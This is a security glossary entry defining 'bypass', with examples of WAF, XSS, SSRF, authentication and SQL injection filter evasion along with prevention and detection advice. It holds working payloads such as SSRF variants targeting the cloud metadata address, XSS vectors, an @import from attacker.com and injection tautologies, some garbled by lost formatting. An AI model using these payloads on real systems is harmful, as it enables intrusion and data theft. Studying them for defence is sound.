Bypass
A technique to circumvent security controls, filters, or restrictions that are in place to block malicious activity.
Short Definition
Bypass means finding a clever way around security measures. If there's a filter blocking "attack.com", you might try "att%61ck.com" (URL encoded) or "attack.com." (with a dot). The security is there, but you found a loophole.
Full Definition
A bypass is a technique that circumvents security controls without directly breaking them. You're not destroying the lock — you're finding another door.
Common bypass targets:
- WAF (Web Application Firewall)
- Input validation/filters
- Authentication mechanisms
- Rate limiting
- IP restrictions
- File upload restrictions
- Access controls
Bypass categories:
Encoding/Obfuscation:
- URL encoding:
<script>→%3Cscript%3E - Double encoding:
<→%253C - Unicode:
<→\u003C - Case variation:
<ScRiPt>
Logic flaws:
- Race conditions
- Parameter pollution
- Type juggling
- Path normalization
Protocol abuse:
- HTTP smuggling
- DNS rebinding
- SSRF redirects
Why It Matters
- Security measures are only effective if they can't be bypassed
- Bypass techniques are constantly evolving
- One successful bypass can negate entire security infrastructure
- Bypasses are often simpler than direct attacks
How Attackers Use It
WAF Bypass example:
WAF blocks: <script>alert(1)</script>
Bypasses:
1alert(1) ← Blocked2<script>alert(1) ← May work3 ← Alternative4<svg/onload=alert(1)> ← SVG vector
SSRF Filter Bypass:
Blocked: http://169.254.169.254
Bypasses:
1http://169.254.169.254 ← Blocked2http://169.254.169.254.nip.io ← DNS bypass3http://0xA9FEA9FE ← Hex IP4http://[::ffff:169.254.169.254] ← IPv65http://169.254.169.254. ← Trailing dot6http://①⑥⑨.②⑤④.①⑥⑨.②⑤④ ← Unicode digits
Authentication Bypass:
1// Vulnerable check2if (password === "admin123") {3 login();4}56// Bypass with type juggling7password = true; // true == "admin123" may be true
How to Detect or Prevent It
Prevention:
- Whitelist > Blacklist
- Defense in depth (multiple layers)
- Proper input canonicalization
- Strict type checking
- Regular expression carefully crafted
- Test with bypass payloads
Specific defenses:
SSRF Prevention:
1# Bad: Blacklist2if "169.254.169.254" not in url:3 fetch(url) # Can be bypassed45# Good: Whitelist + DNS resolution check6allowed_domains = ["example.com"]7parsed = urlparse(url)8if parsed.hostname in allowed_domains:9 ip = socket.gethostbyname(parsed.hostname)10 if not is_private_ip(ip):11 fetch(url)
Detection:
- Log all filtered requests
- Monitor for bypass patterns:
- Excessive encoding
- Unusual characters
- Multiple failed attempts
- Success after many failures
- Use advanced WAFs with ML
- Regular security testing
Common Misconceptions
- "WAF means I'm safe" - WAFs are regularly bypassed
- "Input validation is enough" - Need output encoding too
- "Blacklists work fine" - Impossible to enumerate all bad inputs
- "Bypasses are theoretical" - Widely used in real attacks
- "Complex filters are better" - Often introduce new bypasses
Real-World Example
CloudFlare WAF Bypass (2019)
Protected site blocked <script>, but allowed:
1@import'http://attacker.com/xss.css';
Result: XSS execution despite WAF.
URL Parser Bypass (Many Applications)
Different parsers disagree on URL interpretation:
1http://evil.com@internal.com23Parser A: "Going to internal.com"4Parser B: "Going to evil.com"
If validator uses Parser A and request uses Parser B → bypass.
Capital One SSRF Bypass
WAF had rules, but misconfigured:
- Allowed certain HTTP methods
- Didn't check all headers
- Validation happened after routing
Attacker found the gap → full SSRF.
OWASP Top 10 2021 Bypass Examples:
A01 (Access Control):
- Change
user_id=123touser_id=124in POST body - Add
admin=trueparameter
A03 (Injection):
- WAF blocks
' OR 1=1-- - Try
' OR 'a'='aor' OR 2>1--
Related Terms
WAF, Filter, Firewall, Exploit, Encoding